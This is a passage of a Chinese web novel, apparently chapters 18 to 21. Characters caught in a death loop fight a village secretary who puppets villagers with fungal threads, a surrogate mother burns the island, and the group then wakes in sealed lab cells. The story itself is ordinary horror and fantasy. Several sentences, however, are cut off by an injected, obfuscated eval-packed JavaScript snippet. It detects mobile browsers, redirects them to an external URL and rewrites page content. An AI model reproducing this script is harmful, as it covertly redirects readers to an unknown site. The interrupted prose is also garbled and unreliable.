“我刚开始进来的时候,我拼了命地想要去寻找同类,像你这样到处收集线索。现实回馈给我的就是些无聊的,一尘不变的,完全没有新意的东西。” “就当我以为什么都不会有转变时,刘二娃变了。她和我刚刚进到这个世界一样,疯狂搜寻讯息。我以为她能够发现我,过来寻找我,没想到愚蠢的她甚至压根就注意不到我的异常。” “林歌,你真是太聪明了,你在短短几次循环时就发现了我的异常。你是我在禁制安排的行程中唯一能够接触到的另一个世界的人。” “我很欣慰,看着已经重复了数千天愚笨的女儿忽然活了过来,我竟然有一丝作为母亲的欣喜。” 林婉的手攀附上江临歌的喉咙,笑容逐渐扭曲:“我想干我之前一直都不敢干的事情。” 她狠狠扼住江临歌的喉咙,尖啸着吼出来:“每次死的都只有那一个流浪汉,那这次换你去死吧!毕竟我们压根就不是母女!” 身后传来火车行驶的震动声,越来越近。江临歌反制林婉的手腕,尽可能挣脱林婉的束缚。只可惜她这瘦弱的身躯远远不如原本精壮的躯体,她甚至被林婉掐地喘不上气。 归霞抓准时机冲了出来,手中凝聚一团气流,一掌掴在林婉的后背。江临歌挣脱而出,林婉疼得打颤。归霞又是一击,将林婉推到铁轨中央。 火车呼啸而过,林婉无力逃脱,被火车碾压而过,变成一团肉泥。 林婉死了。 江临歌和归霞没有任何犹豫,抛下林婉的尸体。归霞抱着江临歌连带唬子跳入火车的货箱之中。 这是江临歌第一次来到火车上。她顺着货车厢往前爬,翻过车厢的连接处,她终于瞧见火车头内部的情况。 透过一扇方形的窗户看,里边有三个人歪七扭八地站在那儿,支撑身体站立的支点并不是骨骼,而是覆盖在人体表面的一些细细的丝线。 列车长转过头,双眼无神,舌头耷拉而下,半张脸覆盖着一层细如蚕丝的白线。 它发现江临歌在注视它,顷刻间扑上门板,与江临歌的脸隔着门板贴在一起,眼珠突出了些。 江临歌的背后汗毛直立,她急忙后撤,爬上另一段车厢。近乎是在同一时刻,列车长破门而出,和无意识丧尸一样冲着江临歌撕咬而去。 归霞把江临歌抓走,一节一节跳着车厢往后逃离,最后她用胳肢窝夹着江临歌从车上跳下来。 “去找流浪汉,保护流浪汉这次不要死亡!” 归霞的脚程快,携着江临歌迅速朝桥底赶去。等她们赶到之际,孟书孔与刘二娃早早就围住流浪汉。 这次的流浪汉神情慈祥老实,看到又有两个孩子过来,眼里藏不住对孩子的喜欢。 她说,她叫孙秀珍,是一名走失儿童的母亲。在原本的世界找了十五年自己的孩子,却在昨天得知孩子早早就被人贩子打死的讯息。她精神崩溃,选择了断自己生命,她痛苦地喝完农药,在极为难受的灼烧感中结束了自己的一生。 结果重生在这个流浪汉的身上,身边围着一群年轻的孩子。 然后那群孩子和她说,要保护她,不要让她再死一次。虽然孙秀珍并不能理解这其中更深层的含义,却还是满心欢喜地面对孩子们的关心。 林婉去世,江临歌的家尚且能够让流浪汉暂时居住。 流浪汉换了身干净的衣服,又替刘二娃和江临歌洗了洗脏兮兮的脸。随后问孩子们饿不饿,她去给孩子们烧菜。 她本身也是农村出生,对于灶火烧的饭菜很是娴熟。挂在厨房的腊肉终于被取下来,变成一盘香喷可口的饭菜。 与林婉照顾江临歌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283724|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方式相比,孙秀珍明显细致得多,也温柔得多。江临歌吃到六年以来第一次热乎香甜的饭菜,心情前所未有的愉悦。 “临歌,你在另一个世界的时候多大了?”孙秀珍摸摸她的头。 江临歌把碗放下,夹了一块肉说:“21岁吧,不过我15岁的时候就出事情了。” “21岁……”孙秀珍的声音沉了下去,“如果我女儿还活着的话,也和你一样大了。” 江临歌听出些弦外之音,把空碗递给孙秀珍说:“阿姨,再来一碗吧。” 孙秀珍回神,露出慈祥的笑容,又给江临歌捞了一碗饭。她对江临歌说,如果回去到原来的世界,江临歌要是无所依靠,她可以当江临歌的妈妈。 江临歌默然。 她说,她会让孙秀珍回去的。 今晚是江临歌睡得最舒服的一个晚上。原来小孩睡觉之前,妈妈是会给她洗干净,擦擦脸哄睡觉的。 孙秀珍用的是流浪汉的躯体,她怕江临歌害怕,只是搬着小板凳坐在床头,拿扇子轻轻拍着江临歌的肚子。 江临歌都快忘记有妈妈的感觉了。 睡醒之后,江临歌又是一个人躺在床上。她起身,去厨房找妈妈。林婉纤细的身体站在厨房,给江临歌准备早餐。 江临歌的呼吸一滞。 循环难道还是没有突破吗? 林婉看到江临歌睡醒,又露出温和的笑容——这笑容和先前的都不一样,多了一丝慈爱。 “临歌睡醒了,你吃烙饼吗?等会儿阿姨给你烙。” 她是孙秀珍,不是林婉。 江临歌长舒一口气,脸上爬上笑容说:“吃!” 门外传来村民的喧嚷,今天郭大姨没有上门调侃林婉的家庭,而是火急火燎地跑到这边说:“林婉,咱们村出事了,矿洞那边死了个外地人!” 江临歌意识到不对劲,急急忙忙跨过门框去看,唬子今天没睡觉,而是站在地上嘤嘤嘤叫,让江临歌抱她。 不过一会儿,一个带着银丝眼镜女人走进来。她留着短发,刘海修剪得整整齐齐,衬衣扎进皮带里,很是干净利索。 她是这村的村支书,和政府牵头就是她决策的。为民着想,带着整个村致富。 她找孙秀珍问了昨日的情况,问她昨天去哪了,做了什么事情,有发现什么奇怪的人影吗? 孙秀珍她昨日属实没有参与到任何计划中,她像个真实的NPC一问三不知。 江临歌手里拿着新烙的饼,一边听村支书和孙秀珍的对话,一边掰下一小块饼喂给唬子。 归霞和孟书孔和刘二娃也找上门,在村支书离开后,她们和江临歌说流浪汉不见了。这次循环中流浪汉消失,不再成为循环开始的锚点。 如果锚点消失,通常需要一个新的锚点。这是江临歌对“祂”的认识。 江临歌猛地转头,看向孙秀珍。她被对面郭大姨拉着,要去看看矿洞里死去的人。 江临歌捉住孙秀珍的手,轻轻摇了摇头。 “不要去。”她的声音在发抖。 “你会死。” 19. 第十九章 “傻孩子,说什么呢?就算很危险,我也不能够让孩子们去闯荡。你们现在才多大,二十来岁,放在原来的世界,我也是能当你妈妈的年纪。” 孙秀珍拍拍江临歌的背部,瞧见江临歌依旧摆出一张不肯孙秀珍走的脸,她顿时想到自己女儿还没被拐时,总拉着她的手不让她去城里打工。 如果她没放开女儿,让女儿自己待在老家院子里,而是把女儿带到城市里亲历亲为照顾,女儿是不是不会被拐走了。 孙秀珍心头一紧,蹲下身子问江临歌:“那你和妈妈一起去可以吗?你怕妈妈出事,那就请你保护妈妈吧。” 江临歌同意孙秀珍的提议,用稳重的语调回答:“阿姨,不止我,我还得把我的朋友都叫上。” 孙秀珍愣神片刻,笑着点点头。 归霞、孟书孔、刘二娃不过多久便赶到,她们跟在孙秀珍的身后,而孙秀珍则真的像是对待亲生女儿那般牵起江临歌的手。 村支书早早就把矿洞那一块围起来,尸体被人搬出来了,火车从那人的身上碾过好几次,皮肉和骨头分离明显,头颅凹下去一大块。大致能判断出来是个三十岁左右的女人,穿着银行的服饰,像是刚下班就遭遇到意外。 村民们围着尸体三三两两讨论,都说不认识这女人,不知是不是对面镇子上的。有小孩过来,都被大人赶跑骂她们不要看。 江临歌牵着孙秀珍的手,在外人看来她们就是一对普通的母女。外人顶多提醒孙秀珍一句,别老给孩子看这些。 江临歌忽然想到什么,把唬子放下,那小狗嗅到肉的味道,竟然摇摇晃晃过去啃了一口,围观的村民觉得这有些亵渎死者,于是把狗抓走,抛到后边的一块小树林里。 江临歌赶忙去吧唬子捡起来。 “嗷呜?”唬子朝江临歌伸出爪子,扒拉两下。 江临歌面色疑惑,环视一圈,找到归霞,把唬子抱到归霞面前。 归霞说:“唬子说,它怎么穿越回小时候了?” “你没穿越回去,是你和‘母体’死亡时产生了某种共感,创造出这个空间。既拥有母体的死亡重置的规则,又有你的过往。”江临歌恨铁不成钢地锤了唬子两下,这小肥狗从头到尾都在呼呼大睡,总算是清醒过来了。 唬子又低沉嗷呜几下,归霞耐心听着,给江临歌翻译。孟书孔、孙秀珍也围了上来,听这小狗讲故事。 “唬子说,她小时候其实就是一只普通的小狗,某天小主人带着她出门去玩耍,恰巧瞧见流浪汉被腰斩的画面。小主人把她放在地上,她啃了两块流浪汉的肉,她就忽然开智了,并且身体出现了不同寻常的变化,成为了现在虎虎生风的大狗。” 江临歌问了句题外话:“唬子你是这个世界诞生的,还是原本的世界穿越进来的?毕竟这个废土世界有的全都是乱七八糟的怪物,很少会有普通的狗。” “她说,她没见过自己的母亲,更没见过同类。是‘祂’创造了唬子,将唬子放置在她的小主人的家里。整个村庄的人都是‘候选者’的后代,她们开发出自己的文明,并且创造出了一片世外桃源。” “在荒芜的世界,她们创造出水源,山川,创造出文明与科技。” 孟书孔掐着手指算,插话:“那岂不是从中世纪时期就开始各种往里边抓人,还不分国家人种地乱抓,所以这个世界诞生的文明才那么多元。” “肯定要在中后期补充现代人吧,不然怎么会有这么明显地文化差异。”刘二娃故作高深地陷入沉思。她这句话倒是没说错,肯定是要有人影响才能够创造出与现代文明相似的文化环境。 江临歌抱着唬子,脑子里在疯狂联系各种线索,忽然之间灵光乍现。 “或许在这个村子里,存在能够使用特殊能力的候选者。她肯定是新加进来的,这也就解释为什么这儿文明与我们那头的文明相类似,也能够解释为什么会有那诡异的火车。” 归霞顺着江临歌的话继续提问:“那你认为,谁最有可能是有能力的候选者?” 江临歌的目光扫视过全场。 是多嘴的郭大姨吗?她看着不像。郭老太也不是。刘二娃身后的那群跟屁虫也不是,那些平常只顾着自己生活的村民看着都不像。 是守墓人老头吗?他最有嫌疑,每日都在维持火车的运行,补充煤炭。可一个小小的守墓人怎么能够影响整个村庄? 江临歌正要把目光投向守墓人时,先入眼的是站在守墓人身旁,那带着银丝眼镜,穿着落落大方的村书记。 江临歌的瞳仁一震。 是村支书。是村支书牵头开采矿洞的事情,是村支书有机会调动全村进行一些改革设计一些规则,是村支书才能够将一些具有文化色彩的事务落实到实处。 “村支书。”江临歌轻轻道出她的推测。 孟书孔瞬间明白江临歌推测的逻辑,紧接着是归霞。刘二娃和孙秀珍一知半解,却认为江临歌的推测不无道理。 在她们锁定村支书是有异能的“候选者”的瞬间,那群村民们突然安静下来。她们不再盯着逝者讲东讲西,纷纷歪过脑袋,望向江临歌。 像是受到控制,又像是NPC的底层代码遭到篡改,她们听到“村支书”这句指令,就会用近乎冰冷的目光望向说话人。 村支书站在不远处,微微低头扶了扶眼睛,镜片的反光叫人看不清她的表情。 “快逃!”江临歌本能地发现不对,一声令下。 已经迟了一步,刘二娃身后,一个村民举起随手捡的石头,狠狠砸在刘二娃的后脑勺上。 孙秀珍见状,急急忙忙把江临歌抱起来,带着她的孩子逃离这里。 归霞深知刘二娃无力回天,抓住孟书孔,带着人逃跑。 村民浩浩荡荡和丧尸似的,疯狂地扑上几人。归霞的身手灵活,不过一会儿就超出丧尸大军一大截。她把孟书孔扔在安全的地方藏好,又折返回去吸引丧尸大军的注意。 失去意识的村民只认“村支书”这个名词,谁喊村支书,她们就追着谁杀。 她以自身为诱饵,让村民追着她杀,留给孙秀珍和江临歌一条生路。 江临歌抱着唬子,吆喝道:“去找村支书,我们要问清楚她到底在做什么,必要时刻要杀了她。” 说曹操,曹操到,村支书的眼镜依然泛着诡异的光芒走近。她身后领着守墓人,守墓人的神情呆滞,应当也是被控制住。 “有意思,我们村竟然出了那么多新来的人吗?”她说话的语调还挺轻浮,似乎是现世的一位年轻人。 江临歌沉住气,问:“你对这个村子做了什么?” “做什么?你们刚来到这个世界,恐怕有所不知吧。”村支书轻笑,“我倒是头一次见附身在原住民身上的人。” “这个世界存在一种名为‘黑雾’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你们想想,这个村子人力有限,如果逝去之人的还能够继续干活,新生的人就能从底层劳动中解放出来,去搏更高层次的技术难题,这样是不是能够加快文明的发展呢?甚至如果遇到黑雾侵袭,活人躲在家里休息,菌丝人依然能够正常工作维持村庄的运转,何乐而不为?” “亲爱的同胞们,我的所作所为都是为了文明的快速发展,我可是全心全意想要保护我们的村庄啊。” 村支书说完,很是自信地展示她的成果。就像是一个年轻人饱含一腔热血为了人类发展做贡献,最后终于做出一番事业一般。 孟书孔躲在草丛里听完,她跳出来反驳村支书:“可是你怎么保证干活的菌丝人都是走正常路线死亡的?如果未来你去世之后,你的菌丝被一些不好的领导人所用,他们会不会用你的菌丝操控原本拥有自由意志的村民呢?” “不对,你现在就在这么做。到时候村子可能就不会是其乐融融持续不断地发展,而是由小部分人掌握大量的金钱与权力,其他人只能在底层打工,甚至不配拥有自己的意志。” “这种技术只能作用在非生命体上,绝不能用在人类身上。我很佩服你对村庄发展的贡献,但是你确实太年轻了。” 谁知,村支书只是微微一笑,轻描淡写带过:“上次和我抗议的家伙如今也变成菌丝人的一员,我当然知道这种发展方式有弊端。” “可是在这种废土世界,不就是弱肉强食,领导者一人占据全部资源的经典原始社会吗!” 村支书手一挥,身后的守墓人持着铁锹冲了上去。孙秀珍猛然自侧面进攻,一拳打在守墓人的脸上,夺过铁锹。 江临歌抱着唬子,静静观察这一系列变故。 “临歌,我这辈子大字不识几个,女儿丢了,人生也废了。但我听得懂,村支书是坏的,那辆火车也是坏的。” “那我们就把那辆火车炸了,把村支书杀了便是。 20. 第二十章 让江临歌有所牵挂的人总是喜欢说大话。 孙秀珍因为力气不支,最后被守墓人夺回铁锹拍死。孟书孔则被折返回来的村民偷袭。她抱着唬子直接开启新一轮循环。 她又从房间里睡醒,刚出门两步,孙秀珍猛地抱住了她。 这次循环的锚点并不是孙秀珍,也不是孟书孔,而是刘二娃。 郭大姨又在江临歌的家门口说:“哎呀,我们村的后山那头死了一个陌生人,是个黄色头发的年轻女孩子,脑袋顶上有一个巨大的窟窿,可吓人了。” 流浪汉的存在与上一轮死去的林婉似乎都消失了。 一轮新的死亡重置。 好消息是,唬子记得发生的一切,但是村支书并不记得。至少她看到孙秀珍带着江临歌来看尸体时,并没有明显的敌意。 这个世界毕竟是唬子的回忆世界,村支书存在于回忆之中,江临歌、归霞、孟书孔、孙秀珍并不存在。 正当她们策划如何毁灭那辆火车时,刘二娃的母父跑出来,大喊:“我们的女儿不见了。” 村民们大惊失色,一不做二不休就帮刘二娃的父母找孩子。村子里但凡是能动的,都踏入后山里找孩子。 江临歌灵机一动,拉拉孙秀珍的袖口,对她说:“我有一个办法。” 孙秀珍弯下身子,侧耳倾听。 “我俩传播一下,有人贩子在火车上,把列车长杀死带着刘二娃逃的舆论。” “我猜村支书会出面安抚群众,到时候我和归霞两个人从后方袭击,把村支书杀了。” “我们是小孩,我们说村支书和人贩子是一伙的,大人不信也得信吧。” “等会儿联络村民把火车上那些东西烧了,把墓地清空。” 你是说让两个半大的孩子去偷袭村支书最后杀死她吗?孙秀珍见识过归霞的身手,也知道江临歌和归霞在现实里肯定是武力值很强的大人。 可望着只有自己跨高的小孩儿,孙秀珍还是不忍心就这么让她去冒险。 “你让阿姨先去试试,你假装成逃出来的小孩,和大人们说人贩子和村支书是一伙的。” “村民们可能有人信,有人不信。让不信的人偷偷跟着我们去看看火车内部的情况,看看那些菌丝人。” “我上回就发现了,村支书只能控制人的行动,却不能控制人的思想。当她不再控制村民时,村民就是一个能够独立思考的个体。” 孙秀珍说完,推了推江临歌的背。江临歌她没想到这位妇女同志能够有如此深刻的见解,她不想让这个计划白费。 她俩先找到平日对林家母女关爱又加的郭大姨,顺带将计划偷偷告知归霞。 郭大姨听完愤怒地一拍大腿,看到林家母女一副担惊受怕的模样,又是同情又是愤愤不平。 “我说那村支书怎么不让村民知道是谁家工程队挖矿,那火车日日夜夜送个不停。原来那是人贩子的据点,竟然把从外边拐来的人偷偷安置在车上。” “我猜那黄毛小姑娘恐怕是昨日偷跑被发现打死的,真是太欺人太甚,不把我们村放在眼里!” “郭鑫,你和林歌在家里好好照顾姥姥,妈妈我要和林阿姨去办点事。” 郭大姨是这个村子最强壮的女人,她一把抄起家门口的铲子,气势汹汹找到隔壁刘二娃的母父。孙秀珍跟在后头,拿了一把插稻草的叉子。 刘二娃的母亲得知真相后声泪俱下,发誓要和村支书以及那辆火车上的人没完。 刘二娃的父亲是个死脑筋,他低头沉思片刻问:“你们能确定吗?万一是误会呢?” 孙秀珍见缝插针道:“误会不误会,我们见到现场再说。又不是马上要去弹劾村支书,还是要把火车的事情调查好才行。” 刘二娃的父亲说不出话,扭头去家里拿了一把榔头。 紧接着郭大姨挨家挨户找人帮忙,有些人觉得郭大姨在污蔑,要找村支书告状。有些人觉得不无道理,却不敢去找寻真相。有些人义愤填膺,不管对错直接加入讨伐的队伍中。 凑了大概十多个人,她们拿着武器避开村支书的耳目,甚至偷偷派了卧底,以今早陌生尸体为之事拦住村支书。 她们从一处安全通道进去,避开守墓人,蹲守在火车的终点线附近。火车呜呜地开了进来,村民动作迅速,跳上车,想要去驾驶舱给火车拉下停车的闸门。 下一秒,三个仅仅由菌丝控制的人一把抓住一名村民的衣领,将他往矿洞的墙壁上砸。 其他人或多或少受到一丝惊吓,任她们反应再迟钝,也能发现开火车的不是正常人,是一群没有思考能力的怪物。 哪怕这并不是人贩子,也足以引起所有人的重视。没想到村支书竟然放任怪物开火车,而这怪物伤起人来没轻没重,若是有贪玩的小孩撞见——刘二娃的母父不敢细想。 孙秀珍在上一轮循环中姑且对峙过被村支书控制的村民,倒是第一次瞧见完全由菌丝掌控的菌丝人。 和犯病的傻子一样,只会呜呜啊啊乱叫,走起路来歪歪斜斜,力气却出奇得大,简直是毫无人性的怪物。 想到村支书竟然妄想培育这种东西代替人工作,孙秀珍更是气不打一处。 守墓人老头进来,看到乱作一团的终点线,心中警铃大作,转身就要去找村支书。江临歌等人老早就留意到守墓人的立场,在墓园的出口将守墓人制服。 归霞一掌击晕守墓人,气息倒卷,跃身去帮助矿洞内乱作一团的村民。 正所谓人多力量大,十几个人总是比几个人要强悍。三名菌丝人从驾驶舱内出来,胡乱袭击周围一圈的村民。有人趁乱去给火车拉了刹车阀门,切断了动力,让火车不再工作。 村民们拿着钢叉,拿着铁铲隔着一米多的距离,将菌丝人逼退。菌丝人的骨肉比普通人柔软些,钢叉能够轻而易举穿过它们的身体,转而三只菌丝人都被钉在了墙上和地上。 “墓园是村支书培养怪物的土地,怪物身上的菌丝就是由墓园的馒头培养的。我们要把墓园的根刨光烧尽,让这群怪物不能够伤害我们的孩子!”孙秀珍见风使舵,点燃全体村民的斗志。 火车已经超出正常的行驶安排,村支书没听见火车从山洞出来的嗡鸣声,很是奇怪。 她吩咐身旁的村民,先去墓园把这小姑娘埋了吧,趁着村民不注意,一溜烟儿地来到矿洞内。 甚至她看到一堆拿着钢叉铁锹的村民浩浩荡荡讨论如何烧了她培育的菌丝,如何阻挠她的计划,气不打一处来,发狠一挥手,控制了全体村民。 孙秀珍瞧见方才与她交谈正欢的郭大姨忽然变成木头,马上明白这是村支书的手笔。 “你这个家伙在哪儿!控制别人杀人算什么本事!”孙秀珍赶忙持着钢叉一闪,归霞从她身后窜出来,一记气功打在细菌人的身上。 村支书嘲笑孙秀珍:“你以为杀死那三只已经能够自主工作的菌丝人就能结束吗?” “我告诉你这座岛上的所有村民都已经感染了菌丝,虽然我不知道你是利用什么原因摆脱我的束缚。” “但是我只要杀了你,你就变成只能为我服务的尸体!” 孟书孔和江临歌溜上车 挖了一部分煤炭,启动车辆。归霞见状,拽着孙秀珍就往火车上跳。 村民移动的速度自然比不上火车,村支书似乎并不急着杀死孙秀珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283726|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,反而是很期待她重新回来救村民的画面。 火车嗡嗡地开着,从矿洞出发穿过这座村庄的每一户。 “我们怎么办?”孟书孔看归霞,归霞看江临歌,江临歌看唬子。 唬子也看江临歌。 “放火烧了这座山吧。”孙秀珍忽然开口。 “这是一座煤矿山,只要一点燃,火势必然迅猛。加之这又是一座岛,火焰不会蔓延到周边的大陆,会被水源阻挡。” “如果真的如那村支书所说,这座岛的村民早已被菌丝控制,死后也会变成那样毫无理智的怪物,不如由我来终结这闹剧。” 江临歌欲要开口,被孙秀珍拦下。 “孩子,我知道我没有资格随意结束她们的生命。有些人就算死后变成怪物,依然也会想要生前作为正常人生活。” “可如今她们只是变成村支书手底下的怪物,我想我这一把火烧了她们,她们也许会记恨我吧。所以我也不想苟活,让我去这山里与那村支书同归于尽,也算是给村民们一个交代。” “临歌,你可别学阿姨,窝窝囊囊一辈子,最后什么好处都捞不着。杀人就算偿命,也不能救回我杀死的那些村民。” “等我放火烧山后我就是一个罪人了。是怎么洗白也洗不白的罪人。” 江临歌能说什么呢?她说不出什么。她来到这个世界杀了很多人,在梦里,在现实里。她已经很久没有愧疚感了,可面前这位相识不过一日的女人告诉她,要有人最基本的道德。 孙秀珍抱住了她,就像是把自己找寻了十五年最终只得到死亡消息的女儿抱在怀里。 “很感谢你让我重新有了一天能够当你妈妈的体验,如果可以的话,我还是想要听你叫一声妈妈。” 江临歌的话卡在嘴边,最后极为小声地说:“妈妈。” 孙秀珍笑起来。她放开江临歌,火车也到站了。她扯了块布绑了几块煤炭固定在叉子的木棍上,利用火车内部的燃烧炉点火。 “把桥也炸了,别让它们逃出来。”这是孙秀珍留下的最后一句话。 火车又开始行驶,朝着即将被毁灭的岛屿冲去。 孟书孔和归霞干脆去抢劫商店内的炸药,反正不过一会儿整座山燃烧起来的壮丽景观就会吸引所有人的注意力。 江临歌低头问唬子,把这座岛烧了,她们能出去吗? 唬子只是哼唧两下。 只听一声巨大的风声,一道不明显的火光从岛屿的中央蔓延而出。继而,那火光越来越大,越来越广,就像是一瓶落在画布上的红颜料。 江临歌好像在火光的倒影中看到孙秀珍的影子,看到她用钢叉刺穿了村支书的喉咙,看到她被好几只菌丝人撕扯她的身躯。 “妈妈。”江临歌又叫了一声,身体不自觉颤抖。她在想这是原主林歌的情感,还是她自己的。 人总是在母亲面前很难藏住自己的心思。江临歌抱着唬子跪在地上,她看着火光冲天,看到在桥边的炸药点燃。 归霞很怕江临歌会冲出去,发疯般要去救孙秀珍,但是江临歌没有。她只是抬着头,真的如一个小孩一般无措地喊着“妈妈”,叫路过的人心疼。 可那火光中并没有母亲逝去时的哀嚎,更没有她过去悲惨人生的剪影,只有孙秀珍在生命的最后一刻露出的,对命运骄傲的一笑。 江临歌有一个新的妈妈,她叫孙秀珍,她可能有点笨拙,有点倒霉,有点悲惨。但是她很果决、很无畏、很善良。 第一个妈妈把江临歌养大,第二个妈妈教江临歌成人。 循环结束了,岛屿烧毁了。 孩子们要长大了,妈妈也走了。 21. 第二十一章 孟书孔睁开眼,她看到一片洁白的天花板。身体特别沉重,就像不是自己的。她只能勉强转动眼珠,观察周围。 洁白的天花板、洁白的墙壁、洁白的床单、洁白的……她努力动了动脖子,洁白的衣服。 孟书孔她瞬间接受自己或许又附身在某个人身上的事实。 在她陷入昏迷前,她们还在唬子的记忆世界炸桥。桥塌了,矿洞着了,她们所在的世界也破碎了。 江临歌她……哭得很伤心。孟书孔想不到其他什么,就她看来,江临歌和她们冒险了一路,从最开始嘴硬讲话奇奇怪怪的小女孩变得更像正常的女孩了些。 孟书孔叹了口气,她尝试爬起来,想要搜寻一下这空间。 她浑身包裹着白色的布料,很像精神病院的拘束服,除了脑子漏在外头,连指尖都用布料裹住。孟书孔隔着布料摸了摸自己的脑袋,发现没什么头发,长度大概接近发根,头皮有种胡茬感。 房间的墙壁是铁皮的,很像某个实验室。能看到一块铁皮连着另一块的缝隙。屋子内只有一张床,没有窗户,更没有门。灯光是藏在天花板的缝隙里,沿着几何体的折线一路铺设灯管。 孟书孔不明白这个房间的人是怎么被带进来的。 也许是把人放进去之后就封死,可人要怎么存活?她走了不过几米,感觉到一股拉扯感。她还不太适应这具身体,所有的感官都很迟钝。 四五根细管链接着她的后腰,似乎是嵌入她的皮肉,又或者只是在皮肤表面。孟书孔的感知很模糊,但是大致能推测这几根管子或许是保持她生命体征维持的重要物品。 她想到一些科幻片里的仿生人。泡在罐子里,在密闭的空间之中,等哪天成长完全了,就能够掀开盖子爬出来。 这细管很像胎儿与母亲的脐带。 如果她苏醒在一个完全独立的“子宫”中,她的伙伴们也许也在其他的“子宫”中,她必须要出去和伙伴们取得联系。 孟书孔沿着屋子环视一圈,她找不到这个房间的缝隙,敲了敲墙壁发现比想象中薄。兴许是之前的战斗大多简单粗暴,孟书孔第一反应是将这墙壁戳穿。 她转身去找可以用来把墙凿开的工具。这屋子的床是铁架搭建成的床,用螺丝固定。她发现连接在自己后腰的细管来自于地面,尝试去拽了下想要挣脱拘束服无果后,选择继续拆床。 孟书孔拆出两根管子,缠绕在床铺的螺丝钉上,管子看起来像是橡胶材质,摩擦力挺大的。她将细管绕在六边形的螺丝钉上贴合牢固,用力旋转,螺丝钉松了点。 孟书孔看到计划的可行性,立马加快了手中的速度。她拧了十来分钟,拆出一根完整的床腿。 孟书孔长舒一口气,举着铁棍来到房间的一个角落。灯管埋在折角的缝隙里,往下撬说不准能把墙板掀出来。 她挑了个比较吃力的角度,拿棍子一怼,墙角凹下去一个小坑。她尝试其他角度撬开墙壁,经过不懈的努力,她把墙角挖出一个老鼠洞的大小。 孟书孔精疲力尽,她往地上一躺,昏睡过去。 江临歌睁眼,看到的同样是洁白的天花板。身体很重,像是刚刚劳动过那般的酸痛,又不太明显,这具身体的感官十分迟钝。 连普通的触觉视觉都像是开了慢放。 江临歌尝试站起身,耳边传来一身金属的脆响。她低头,发现是一小根不知道从那里来的铁棒。江临歌举起铁棒,环视一周,发现这是一隅密不透风的盒子。 唯一的出口是她脚底下的墙壁上有一个被挖出来的小洞。 也许在她之前有人来过。 江临歌举起那根铁棒,用力往那地方一捅,紧接着翘起铁皮。她的力气比上一个人大不少,一下的功夫铁皮就呈现向上卷曲的效果。 这铁皮之后,是密密麻麻的电路板,可能有供电的线。江临歌原本还在犹豫要不要上铁棒,接而发现她浑身都被一种厚实的橡胶材质包裹着。 总不能她这回又附身到一个不知名的电工身上吧。不过这电工防护措施做得还不错,江临歌一狠心,往那电路板一戳。 噼里啪啦的火星冒出来,江临歌的动作不停。等那火花烧得电路板有些软化了,她刚好能够把这墙捅得更深些。 终于,功夫不负有心人,在高温与压力的作用下,江临歌将铁棒刺穿了这面墙壁。她累倒在地上,休息了一会儿,她爬起来用铁棒的一角在墙壁上歪歪斜斜刻了一个“江”字。 她这人几乎不做好事,做过一次好事之后肯定要留个名。 写完她的名字,江临歌才安心睡去。 归霞是被劈里啪啦的电流声吵醒的。她持着如同灌了铅的身体。 她发现一个好消息。她还是看得到。 洁白的床单与天花板,噼啪冒电火花的墙壁,以及身上这触感黏腻的拘束服。 归霞庆幸自己的眼睛看得见,因为她瞧见了墙壁上一个歪歪斜斜的江字。她虽然不能看见字符,多少有和同门的师姐们一同悟过文字中的道义,因而大部分文字的形态她都了如指掌。 “江小友来过这儿。”归霞暗自窃喜,瞧见丢在一旁顶端已经焦黑的铁棒,又发现墙壁上出现的一个洞。她猜测江临歌或许在找寻逃离的方法,虽然不清楚她后来是怎么出去的,或许把这面墙砸开能够有收获。 归霞持着那根铁棒,将气息流通全身,甚至连那铁棒都环抱上缕缕剑意,寒光凛冽。 只见归霞持着铁棒朝那墙面一舞,登时墙体出现两道深深的划痕。她以自身为中点,上下左右将面前这墙方方正正切开一个四边形,恰巧与她本人同高。 这墙说厚不厚,单这铁皮与电路板有个四五层。归霞持着铁棒很难挥砍出剑的效果,往往一刀劈下去只多了些深浅不一的划痕。 好消息是她的出现让这墙的窟窿从老鼠洞大小扩大到能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283727|198387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容纳人的大小。 等她将四条边都切得差不多,再运气往墙中间狠狠一推。被切割的部分凹下一个弧形的坑,紧接着那块部分与周遭的墙体偏离了点,更往外挪了。 归霞心情甚好,她知道她马上就能离开这个屋子了。不过离开之前她还是需要再休息一会儿,这具身体实在是太羸弱,连运气都没法用出百分百的力量。 她力竭倒地,选择性休眠。 